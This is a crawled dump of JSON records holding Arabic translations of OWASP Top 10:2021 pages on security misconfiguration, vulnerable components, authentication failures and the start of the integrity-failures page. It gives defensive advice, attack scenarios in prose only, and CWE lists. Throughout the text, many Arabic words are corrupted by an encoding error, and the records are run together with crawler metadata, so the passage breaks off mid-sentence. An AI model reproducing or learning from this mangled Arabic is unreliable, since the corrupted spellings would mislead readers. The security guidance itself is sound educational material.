والإصلاحات ك؏زإ من عملية ؼداع؊ حِزم الإصلاحات والترقيات. (انظر إلى- A06:2021 الثغرات والأنظمة الغير قابلة للتحديثات). بالإضافة إلى مراجعة أذونات التخزين السحابيّة على سبيل المثال (S3 Bucket Permissions).\n- تتيح بنية التطبيق المقسّمة فصلًا فعّالًا وآمنًا بين المكونات، مع التجزئة في مجموعات أمان السحابة (ACLs).\n- إرسال توجيهات الأمان إلى المستخدمين على سبيل المثال Security Headers.\n- أتمتة عملية التحقق من التحديثات الآمنة للتحقّق من فعاليّة التكوينات والإعدادات في جميع البيئات.\n- تشغيل أدوات الفحص للتحقّق من فعاليّة التكوينات والإعدادات في جميع البيئات للكشف عن الإعدادات الخاطئة.\n\n## أمثلة على سيناريوهات الهجوŮ\n\n**سيناريو #1:** عندما يحتوي احد الخوادم على تطبيق من التطبيقات غير محدث وما يزال يُستخدم في بيئة الإنتاج \"Production Server\" هذه العيّنات من التطبيقات قد تحتوي على ؍غعات أمنية يمكن أن يستخدمها المهاجم في اختراق الخادم ، وبافتعا؜ أن ŘŁŘ­ŘŻ هذه البرامج هي وحد؊ تحكّم لإدارة الخادم وتحتوي على الاعدادات الافتراضية والرقم السري الافتراضي، في هذه الحالة فإن المهاجم سوف يُسجّل الدخول باستخدام الرقم السري الافتراضي ويتحكّم بالخادم.\n\n**سيناريو #2:** عندما تكون قائمة الدليل \"Directory Listing\" غير معطّلة في الخادم الخاص بك، قد يكتشف المهاجم أن بإمكانه سعد قائمة الملفات المخزنة على الخادم وبؚد ذلك بإمكانه العثور وتثبيت جميع ف،ات ؏افا (Compiled Java Classes) ومن ثم يقوم بفكّها وتطبيق الهندسة العكسية لعرض الشّفرة المصدرية، سوف يحاول المهاجم بؚد ذلك إيجاد ؎ءأ أمني للتحكّم في الوصول إلى الخادم.\n\n**سيناريو #3:** عندما تقوم ؼؚدادات خادم التطبيق بؼع؏اؚ رسائل ؎اء،؊ تفصيليّة، على سبيل المثال Stack Traces إلى المستخدم، ومن المُحتمل أن يؤدي هذا إلى الكشف عن معلومات حساس؊ أو ؍غعات أمنية أخرى أو معلومات مثل ؼؾداعات المكونات المعروفة بأنها قابلة للاستغلال.\n\n**سيناريو #4:** أن يكون مقدّم الخدمة السحابيّة لديه أذونات مشاركة افتراضية مفتوحة على الإنترنت من قِبل مستخدمي CSP الآخرين، يسمح هذا بالوصول إلى البيانات الحساسة المخزّنة في سحاب؊ التخزين.\n\n## المصادر\n\n- [OWASP Testing Guide: Configuration Management](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [OWASP Testing Guide: Testing for Error Codes](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- Application Security Verification Standard V19 Configuration\n- [NIST Guide to General Server Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)\n- [CIS Security Configuration Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)\n- [Amazon S3 Bucket Discovery and Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)\n\n## قائمة الربط مع ؼءاع CWEs\n\n[CWE-2 7PK - Environment](https://cwe.mitre.org/data/definitions/2.html)\n\n[CWE-11 ASP.NET Misconfiguration: Creating Debug Binary](https://cwe.mitre.org/data/definitions/11.html)\n\n[CWE-13 ASP.NET Misconfiguration: Password in Configuration File](https://cwe.mitre.org/data/definitions/13.html)\n\n[CWE-15 External Control of System or Configuration Setting](https://cwe.mitre.org/data/definitions/15.html)\n\n[CWE-16 Configuration](https://cwe.mitre.org/data/definitions/16.html)\n\n[CWE-260 Password in Configuration File](https://cwe.mitre.org/data/definitions/260.html)\n\n[CWE-315 Cleartext Storage of Sensitive Information in a Cookie](https://cwe.mitre.org/data/definitions/315.html)\n\n[CWE-520 .NET Misconfiguration: Use of Impersonation](https://cwe.mitre.org/data/definitions/520.html)\n\n[CWE-526 Exposure of Sensitive Information Through Environmental Variables](https://cwe.mitre.org/data/definitions/526.html)\n\n[CWE-537 Java Runtime Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/537.html)\n\n[CWE-541 Inclusion of Sensitive Information in an Include File](https://cwe.mitre.org/data/definitions/541.html)\n\n[CWE-547 Use of Hard-coded, Security-relevant Constants](https://cwe.mitre.org/data/definitions/547.html)\n\n[CWE-611 Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)\n\n[CWE-614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute](https://cwe.mitre.org/data/definitions/614.html)\n\n[CWE-756 Missing Custom Error Page](https://cwe.mitre.org/data/definitions/756.html)\n\n[CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')](https://cwe.mitre.org/data/definitions/776.html)\n\n[CWE-942 Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)\n\n[CWE-1004 Sensitive Cookie Without 'HttpOnly' Flag](https://cwe.mitre.org/data/definitions/1004.html)\n\n[CWE-1032 OWASP Top Ten 2017 Category A6 - Security Misconfiguration](https://cwe.mitre.org/data/definitions/1032.html)\n\n[CWE-1174 ASP.NET Misconfiguration: Improper Model Validation](https://cwe.mitre.org/data/definitions/1174.html)", "znaku_textu": 10641, "slov": 1118, "odkazu": 64, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:45:06", "sha256": "dc56ac6e438c6167fc3ee6aea400535afc490875aa01f01ba6a8f34716dc184d", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://www.cisecurity.org/cis-benchmarks/", "https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/11.html", "https://cwe.mitre.org/data/definitions/13.html", "https://cwe.mitre.org/data/definitions/15.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/260.html", "https://cwe.mitre.org/data/definitions/315.html", "https://cwe.mitre.org/data/definitions/520.html", "https://cwe.mitre.org/data/definitions/526.html", "https://cwe.mitre.org/data/definitions/537.html", "https://cwe.mitre.org/data/definitions/541.html", "https://cwe.mitre.org/data/definitions/547.html", "https://cwe.mitre.org/data/definitions/611.html", "https://cwe.mitre.org/data/definitions/614.html", "https://cwe.mitre.org/data/definitions/756.html", "https://cwe.mitre.org/data/definitions/776.html", "https://cwe.mitre.org/data/definitions/942.html", "https://cwe.mitre.org/data/definitions/1004.html", "https://cwe.mitre.org/data/definitions/1032.html", "https://cwe.mitre.org/data/definitions/1174.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A06_2021-Vulnerable_and_Outdated_Components/", "titulek": "A06 الثغرات و المكونات الغير المحدثة - OWASP Top 10:2021", "h1": "A06:2021 الثغرات و الانظمة الغير قابلة للتحديثات", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A06_2021-Vulnerable_and_Outdated_Components/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A06:2021 الثغرات و الانظمة الغير قابلة للتحديثات"}, {"uroven": 2, "text": "العوامل"}, {"uroven": 2, "text": "نظرة عامة"}, {"uroven": 2, "text": "الوصف"}, {"uroven": 2, "text": "كيفية الحماية منها"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوŮ"}, {"uroven": 2, "text": "المصادر"}, {"uroven": 2, "text": "قائمة الربط مع ؼءاع CWEs"}], "markdown": "# A06:2021 الثغرات و الانظمة الغير قابلة للتحديثات\n\n## العوامل\n\n| ربطها مع CWEs | الحد الأقصى للحدوث | متوسط معدل الحدوث | التغطية القصوى | متوسط معدل التغطية | متوسط استغلال الثغرات | متوسط التأثير | إجمالي التكرار | إجمالي نقاط الضعف CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 3 | 27.96% | 8.77% | 51.78% | 22.47% | 5.00 | 5.00 | 30,457 | 0 |\n\n## نظرة عامة\n\nكانت تحتل المرتبة الثانية في عملية الاستطلاع التي تم إجراؤها في قطاع أمن التطبيقات ولكنها أيضًا تمتلك بيانات كافية لتُصبح من أعلى ؚشع؊ مخاطر من خلال تحليل البيانات. يُعتبر تصنيف \" الثغرات والمكوّنات الغير مُحدّثة\" من المشاكل المعروفة التي تواجه ؾؚوبات من أجل اختبارها وتقييم مخاطرها ويُعتبر التصنيف الوحيد الذي لا يتضمّن CVEs ومرتبط بـ CWEs. لذلك تم استخدام المعيار الافتراضي للاستغلال أو الأثر وهو 5.0، ونجد أن هناك اعتباء وحيد في هذا التصنيف وهو CWE-1104.\n\n## الوصف\n\nمن المحتمل ان تكون ؚع؜؊ للاختراق:\n\n- ؼذا كنت لا تؚعف ؼؾداعات جميع المكونات التي تستخدمها (من جانب المستخدم أو من جانب الخادم). وهذا يتضمّن المكونات التي تستخدمها بشكل مُباشر بالإضافة إلى المكونات الغير مباشرة.\n- ؼذا كانت المكونات او البرمجيات معرضه للاختراق بسبب انها غير مدعومة أو قديمة. ويتضمن ذلك نظام التشغيل وخادم الويب أو التطبيقات ونظام ؼداع؊ قواعد البيانات (DBMS) والتطبيقات وواجهات برمجة التطبيقاتAPI وجميع المكونات وبيئات التي تعمل مع بدإ التشغيل .(runtime)\n- ؼذا لم تقم بالمسح الأمني بحثاً عن الثغرات بانتظام، والاشتراك في نشرات الأمن المتعلقة بالمكونات التي تستخدمها.\n- ؼذا لم تقم بإصلاح أو ترقية النظام الأساسي والإطار والتبعيات الأساسيّة بطريقة مبنيّة على تقييم المخاطر وفي الوقت المناسب. يحدث هذا عادةً في البيئات التي يكون فيها إغلاق الثغرات وتنصيب التحديثات مَهمة شهرية أو عبؚ سنوية ŘŞŘ­ŘŞ ؼداع؊ التغييرات، مما يترك المؤسسات عُرضة لمدة أيام أو شهور من عدم تطبيق التحديث للثغرات الضرورية.\n- ؼذا لم يقم مطورو البرامج با؎تباع توافق المكتبات المحدثة أو التي تم ا؏عاإ إصلاحات عليها.\n- ؼذا لم تقم بتأمين الاعدادات بالشكل الصحيح. (انظر A05: 2021 – الإعدادات الأمنية الخاطئة ).\n\n## كيفية الحماية منها\n\nيجب أن تكون هناك آلية لإدارة اغلاق الثغرات وذلك لتلبية ما يلي:\n\n- إزالة المكونات الغير مستخدمة والمميزات والملفات والوثائق الغير ضرورية.\n- عمل ؏عد بشكل دوري للإصدارات من جانب المستخدم ومن جانب الخادم (على سبيل المثال، ؼءاع العمل والمكتبات) ومكوناتها باستخدام أدوات مثل Versions, OWASP Dependency Check, Retire.JS وما إلى ذلك، مراقبة المصادر الخاصة بالثغرات باستمرار مثل CVE و NVD بحثًا عن الثغرات التي في المكونات. وقم باستخدام الأدوات الخاصة بتحليل الإعدادات وذلك من أجل أتمتة العملية. وأخيرًا، قم بالاشتراك في تنبيهات البريد الإلكتروني الخاصة بالثغرات الأمنية المتعلقة بالمكونات التي تستخدمها.\n- الحصول على المكونات من المصادر الرسمية فقط ؚبع الروابط الآمنة. يفضل التأكد من ان الحزم موقعه رقمياً لتقليل فعؾ؊ تثبيت مكونات معدلة و؜اع؊ (انظر A08: 2021- فشل سلامة البيانات والبرمجيات).\n- مراقبة المكتبات والمكونات التي لا يتم صيانتها أو التي لا تقوم بعمل تحديثات الأمان للإصدارات القديمة. ؼذا لم تكن عملية سدّ الثغرات مُمكنة، فكّر في إنشاء آلية افتراضية لمراقبة تلك المكونات وعؾد المحاولات الضَّارة والحماية منها\n\nيجب أن تضمن كل مؤسسة ؎ء؊ مستمرة للمراقبة، وتصنيف، وتطبيق التحديثات أو تغيير الاعدادات طوال الحياة الافتراضية للتطبيقات.\n\n## أمثلة على سيناريوهات الهجوŮ\n\n**سيناريو #1:** \nتعمل المكونات عادةً بنفس الامتيازات التي يتمتّع بها التطبيق نفسه، لذا فإن العيوب في أي مكوّن يمكن أن يؤدي إلى تأثير خطير. يمكن أن تكون هذه العيوب عرضية (على سبيل المثال، الأخطاء البرمجية) أو عيوب مقصودة (على سبيل المثال، باب خلفي في ŘŁŘ­ŘŻ المكونات). بؚ؜ الأمثلة على ؍غعات المكونات القابلة للاستغلال التي تم اكتشافها هي:\n\n- نظرة على ؍غع؊ CVE-2017-5638، وهي ؍غع؊ أمنية تقوم بتنفيذ تعليمات برمجية عن بُعد لـ Struts 2 والتي تُتيح تنفيذ تعليمات برمجية عشوائية على الخادم، والتي تُسبّب اختراقات خطيرة.\n- على الرغم من ؾؚوب؊ أو استحالة تحديث إنترنت الأشياء في بؚ؜ منتجات (IoT)، إلا أن أهمية تحديثها يمكن ان يكون له أهمية كبيرة (مثل الأجهزة الطبية).\n\nهناك أدوات آلية لمساعدة المهاجمين في العثور على أنظمة غير محدثة أو معدة بشكل ؎اء،. على سبيل المثال، يمكن أن يساعدك محرك بح؍ Shodan IoT في العثور على الأجهزة التي لا تزال تعاني من الثغرة الأمنية مثل ؍غع؊ Heartbleed والتي تم إصلاحها وتحديثها في أبريل من عام 2014.\n\n## المصادر\n\n- OWASP Application Security Verification Standard: V1 Architecture,\n design and threat modelling\n- OWASP Dependency Check (for Java and .NET libraries)\n- OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)\n- OWASP Virtual Patching Best Practices\n- The Unfortunate Reality of Insecure Libraries\n- MITRE Common Vulnerabilities and Exposures (CVE) search\n- National Vulnerability Database (NVD)\n- Retire.js for detecting known vulnerable JavaScript libraries\n- Node Libraries Security Advisories\n- Ruby Libraries Security Advisory Database and Tools\n- https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf\n\n## قائمة الربط مع ؼءاع CWEs\n\nCWE-937 OWASP Top 10 2013: Using Components with Known Vulnerabilities\n\nCWE-1035 2017 Top 10 A9: Using Components with Known Vulnerabilities\n\nCWE-1104 Use of Unmaintained Third Party Components", "znaku_textu": 7788, "slov": 927, "odkazu": 39, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:45:08", "sha256": "cba2ba90d346bc2fd2a8b6f960c9d9c975d849c852fd95a8625ee4b79d3ac399", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A07_2021-Identification_and_Authentication_Failures/", "titulek": "A07 الهوية و فشل عملية التحقق - OWASP Top 10:2021", "h1": "A07:2021 – الهوية و فشل عملية التحقق", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A07_2021-Identification_and_Authentication_Failures/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A07:2021 – الهوية و فشل عملية التحقق"}, {"uroven": 2, "text": "العوامل"}, {"uroven": 2, "text": "نظرة عامة"}, {"uroven": 2, "text": "الوصف"}, {"uroven": 2, "text": "كيفية الحماية منها"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوŮ"}, {"uroven": 2, "text": "المصادر"}, {"uroven": 2, "text": "قائمة الربط مع ؼءاع CWEs"}], "markdown": "# A07:2021 – الهوية و فشل عملية التحقق\n\n## العوامل\n\n| ربطها مع CWEs | الحد الأقصى للحدوث | متوسط معدل الحدوث | التغطية القصوى | متوسط معدل التغطية | متوسط استغلال الثغرات | متوسط التأثير | إجمالي التكرار | إجمالي نقاط الضعف CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 22 | 14.84% | 2.55% | 79.51% | 45.72% | 7.40 | 6.50 | 132,195 | 3,897 |\n\n## نظرة عامة\n\nهذ التصنيف يُعرف سابقًا باسم ؜ؚف التحقّق من الهوية (Broken Authentication) وكانت هي الخطر رقم #2 في الإصدار السابق. وحاليًا تشمل على العديد من CWEs المتعلقة بفشل عملية التحقّق. يتضمّن هذا التصنيف كل من (CWE-384,CWE-297,CWE-287).\n\n## الوصف\n\nيُعد تأكيد هوية المستخدم والمصادقة وؼداع؊ الجلسة أمرًا بالغ الأهمية وذلك للحماية من الهجمات المتعلقة بالمصادقة. قد يكون هناك ؜ؚف في المصادقة ؼذا كان التطبيق:\n\n- يسمح بالهجمات الآلية مثل هجمات بيانات الاعتماد (Credential Stuffing)، حيث يكون لدى المهاجم قائمة بأسماء المستخدمين وكلمات المرور.\n- يسمح باستغلال هجوم كسع كلمات المرور (Brute Force) أو الهجمات الآلية الأخرى.\n- يسمح بهجمات كلمات المرور الافتراضية أو الضعيفة أو المعروفة ، مثل \"Password1\" أو \" Admin / Admin\".\n- يستخدم عوامل ضعيفة وغير فعّالة لاستعادة كلمات المرور واستع؏اؚ بيانات الاعتماد والتي يجعلها آمنة، مثل \"الأجوبة المستندِة على المعرفة\".\n- يستخدم كلمات مرور غير مشفّرة، أو مشفّرة بشكل مُجزّأ أو بشكل ضعيف (عا؏ؚ A3:2017- البيانات الحساسة الغير محميّة أو المكشوفة).\n- عدم تفعيل التحقّق الثنائي أو تكون غير فعّالة.\n- يعرض معرّفات الجلسة (Session IDs) في عنوان URL\n- لا يقوم بؼؚاد؊ إنشاء معرّفات الجلسة بؚد تسجيل الدخول بنجاح.\n- لا ينهي معرّفات الجلسة بشكل صحيح. لا يتم إنهاء جلسات المستخدم أو رموز المصادقة (Authentication Tokens) و؎اؾ؊ رموز الدخول الموحّد (SSO) بشكل صحيح خلال تسجيل الخروج أو في فتع؊ الخمول.\n\n## كيفية الحماية منها\n\n- حيثما أمكن ذلك، قم بتفعيل التحقّق الثنائي لمنع الهجمات الآلية لبيانات الاعتماد(Credential Stuffing)، وهجوم كسع كلمات المرور (Brute Force) وهجمات ؼؚاد؊ استخدام بيانات الاعتماد المسروقة.\n- لا ترسل أو ت؜ؚ بيانات اعتماد افتراضية، ؎اؾ؊ بالنسبة لمدراء النظام (المسؤولين)\n- نفِّذ عمليات التحقّق من كلمات المرور الضعيفة، مثل ا؎تباع كلمات المرور الجديدة أو التي تم تغييرها ومقارنتها بقائمة أسوأ 10,000 كلمة مرور.\n- ا؜بء طول كلمة المرور وصعوبتها وقم باتباؚ السياسات والإرشادات الواردة في NIST 800-63b في القسم 5.1.1 \"تذكّر كلمات السر المحفوظة أو سياسات كلمة المرور\".\n- تأكد من أن مسارات كُلًا من التسجيل واستؚاد؊ بيانات الاعتماد وواجهة برمجة التطبيقات (API) محميّة ؜د هجمات فحؾ الحسابات (Account Enumeration) ، قم بإظهار نفس رسائل الخطأ لجميع عمليات تسجيل الدخول.\n- الحد من محاولات تسجيل الدخول الفاشلة. وقم بتسجيل جميع حالات فشل عملية تسجيل الدخول وقم بتنبيه المسؤولين عند اكتشاف محاولة هجمات كسع بيانات الاعتماد (Credential Stuffing) أو هجوم كسع كلمات المرور (Brute Force) أو أي هجمات أخرى.\n- استخدم مدير جلسة مُدمج وآمن من جانب الخادم، يقوم بإنشاء معرّف جلسة عشوائية جديدة مع (Entropy) عالية بؚد تسجيل الدخول، معرّفات الجلسات يجب ألا تكون موجودة في عنوان URL، ويجب تخزينها بشكل آمن و إنهاء صلاحيتها بؚد تسجيل الخروج، أو الخمول، والانتهاء المُطلق (انتهاء أو نفاذ الوقت).\n\n## أمثلة على سيناريوهات الهجوŮ\n\n**سيناريو #1:** هجمات بيانات الاعتماد وهي ؚباع؊ عن استخدام قوائم معروفة سابقًا لمجموعة من كلمات المرور وتُعتبر من أك؍ع الهجمات شيوعًا، و لنفرض أن ŘŁŘ­ŘŻ التطبيقات لم يُطبّق الحماية التلقائية والكافية للحد من التهديدات أو هجمات بيانات الاعتماد، في هذه الحالة، يمكن استخدام رسائل الخطأ الصادرة من التطبيق كمعيار لتحديد ما ؼذا كانت بيانات الاعتماد صالحة.\n\n**سيناريو #2:** ŘŞŘ­ŘŻŘŤ معظم هجمات المصادقة بسبب الاستخدام المستمر لكلمات المرور كعامل وحيد لتسجيل الدخول حتى وإن تم اعتماد أفضل الممارسات والتغيير المستمر لكلمات المرور حيث جعل سياسة كلمة المرور معقّدة، يُشجّع المستخدمين على ؼؚاد؊ استخدام كلمة المرور. لذلك ننصح المؤسسات بإيقاف هذه المُمارسات وفقًا لـ NIST 800-63 واستخدام التحقّق الثنائي.\n\n**سيناريو #3:** لا يتم تعيين مدة انتهاء الجلسة (Timeouts) للتطبيق بشكل صحيح، يقوم المستخدم باستخدام ŘŁŘ­ŘŻ الأجهزة الموجودة في الأماكن العامة للوصول إلى ŘŁŘ­ŘŻ التطبيقات بدلًا من اختيار \"تسجيل الخروج\"، يقوم المستخدم ببساء؊ بإغلاق علامة تبويب المتصفح، فيقوم المهاجم باستخدام نفس المتصفح بؚد ساؚات قليلة ليجد أنه لا يزال المستخدم قيد تسجيل الدخول (Authenticated).\n\n## المصادر\n\n- [OWASP Proactive Controls: Implement Digital Identity](https://owasp.org/www-project-proactive-controls/v3/en/c6-digital-identity)\n- [OWASP Application Security Verification Standard: V2 authentication](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Application Security Verification Standard: V3 Session Management](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: Identity](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README), [Authentication](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/README)\n- [OWASP Cheat Sheet: Authentication](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Credential Stuffing](https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Forgot Password](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Session Management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n- [OWASP Automated Threats Handbook](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- NIST 800-63b: 5.1.1 Memorized Secrets\n\n## قائمة الربط مع ؼءاع CWEs\n\n[CWE-255 Credentials Management Errors](https://cwe.mitre.org/data/definitions/255.html)\n\n[CWE-259 Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)\n\n[CWE-287 Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n\n[CWE-288 Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html)\n\n[CWE-290 Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)\n\n[CWE-294 Authentication Bypass by Capture-replay](https://cwe.mitre.org/data/definitions/294.html)\n\n[CWE-295 Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)\n\n[CWE-297 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html)\n\n[CWE-300 Channel Accessible by Non-Endpoint](https://cwe.mitre.org/data/definitions/300.html)\n\n[CWE-302 Authentication Bypass by Assumed-Immutable Data](https://cwe.mitre.org/data/definitions/302.html)\n\n[CWE-304 Missing Critical Step in Authentication](https://cwe.mitre.org/data/definitions/304.html)\n\n[CWE-306 Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n\n[CWE-307 Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n\n[CWE-346 Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html)\n\n[CWE-384 Session Fixation](https://cwe.mitre.org/data/definitions/384.html)\n\n[CWE-521 Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)\n\n[CWE-613 Insufficient Session Expiration](https://cwe.mitre.org/data/definitions/613.html)\n\n[CWE-620 Unverified Password Change](https://cwe.mitre.org/data/definitions/620.html)\n\n[CWE-640 Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)\n\n[CWE-798 Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)\n\n[CWE-940 Improper Verification of Source of a Communication Channel](https://cwe.mitre.org/data/definitions/940.html)\n\n[CWE-1216 Lockout Mechanism Errors](https://cwe.mitre.org/data/definitions/1216.html)", "znaku_textu": 10333, "slov": 1061, "odkazu": 70, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:45:08", "sha256": "3d16653889deec54ea20e6802d593148e4da2b2122796ab3b73f23e691d88e72", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/255.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/287.html", "https://cwe.mitre.org/data/definitions/288.html", "https://cwe.mitre.org/data/definitions/290.html", "https://cwe.mitre.org/data/definitions/294.html", "https://cwe.mitre.org/data/definitions/295.html", "https://cwe.mitre.org/data/definitions/297.html", "https://cwe.mitre.org/data/definitions/300.html", "https://cwe.mitre.org/data/definitions/302.html", "https://cwe.mitre.org/data/definitions/304.html", "https://cwe.mitre.org/data/definitions/306.html", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/346.html", "https://cwe.mitre.org/data/definitions/384.html", "https://cwe.mitre.org/data/definitions/521.html", "https://cwe.mitre.org/data/definitions/613.html", "https://cwe.mitre.org/data/definitions/620.html", "https://cwe.mitre.org/data/definitions/640.html", "https://cwe.mitre.org/data/definitions/798.html", "https://cwe.mitre.org/data/definitions/940.html", "https://cwe.mitre.org/data/definitions/1216.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ar/A08_2021-Software_and_Data_Integrity_Failures/", "titulek": "A08 فشل سلامة البيانات والبرمجيات - OWASP Top 10:2021", "h1": "A08:2021 – فشل سلامة البرامج والبيانات", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ar/A08_2021-Software_and_Data_Integrity_Failures/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A08:2021 – فشل سلامة البرامج والبيانات"}, {"uroven": 2, "text": "العوامل"}, {"uroven": 2, "text": "نظرة عامة"}, {"uroven": 2, "text": "الوصف"}, {"uroven": 2, "text": "كيفية الحماية منها"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوŮ"}, {"uroven": 2, "text": "المصادر"}, {"uroven": 2, "text": "قائمة الربط مع ؼءاع CWEs"}], "markdown": "# A08:2021 – فشل سلامة البرامج والبيانات\n\n## العوامل\n\n| ربطها مع CWEs | الحد الأقصى للحدوث | متوسط معدل الحدوث | التغطية القصوى | متوسط معدل التغطية | متوسط استغلال الثغرات | متوسط التأثير | إجمالي التكرار | إجمالي نقاط الضعف CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 10 | 16.67% | 2.05% | 75.04% | 45.35% | 6.94 | 7.94 | 47,972 | 1,152 |\n\n## نظرة عامة\n\nتمت ؼ؜اف؊ هذا التصنيف في عام 2021 حيث يُركّز على و؜ؚ افتعا؜ات تتعلّق بتحديثات البرامج والبيانات الحساسة أو تطبيق معايير CI/CD pipeline من دون التحقّق من سلامتها. إن ŘŁŘ­ŘŻ أكبع التأثيرات الكبيرة والموجودة في قواعد بيانات الثغرات CVE /CVSS والمرتبطة مع ؼءاع CWEs وهم: CWE-502، CWE-829، CWE-494.\n\n## الوصف\n\nفشل سلامة البيانات والبرامج تتعلّق بالشّفرة المصدرية والبنية التحتيّة الغير محميّة من الانتهاكات التي تتعّلق بسلامتها. على سبيل المثال: حين يتم ترميز الكائنات أو البيانات بطريقة تُمكّن المهاجم أن يطّلع أو يقوم بؼ؏عاإ التعديلات الغير مُصرّح بها. مثال آ؎ع: عندما يعتمد التطبيق على ؼ؜افات أخرى أو مكتبات أو بؚ؜ الأنماط الغير موثوقة أو من خلال استخدام شبكات توصيل المحتوى CDNs الغير موثوق بها، ويمكن أن يؤدي CI / CIC الغير آمن إلى إمكانية الوصول الغير مُصرّح به أو تنزيل برمجية خبيثة أو اختراق النظام. أخيرًا، تتضمّن العديد من التطبيقات الآن وظيفة التحديث التلقائي، حيث يتم تنزيل التحديثات دون التحقّق من السلامة بشكل كافي وتثبيتها على التطبيقات التي تم الوثوق بها سابقًا. مما يُمكّن المهاجمين أن يقوموا بتحميل تحديثاتهم الخاصة ليتم تثبيتها وتشغيلها على جميع الأجهزة.\n\n## كيفية الحماية منها\n\n- تأكد من عدم إرسال البيانات الغير مشفّرة أو الغير موقّعة إلى عملاء غير موثوقين بدون شكل من أشكال التحقق من سلامة أو و؏ود 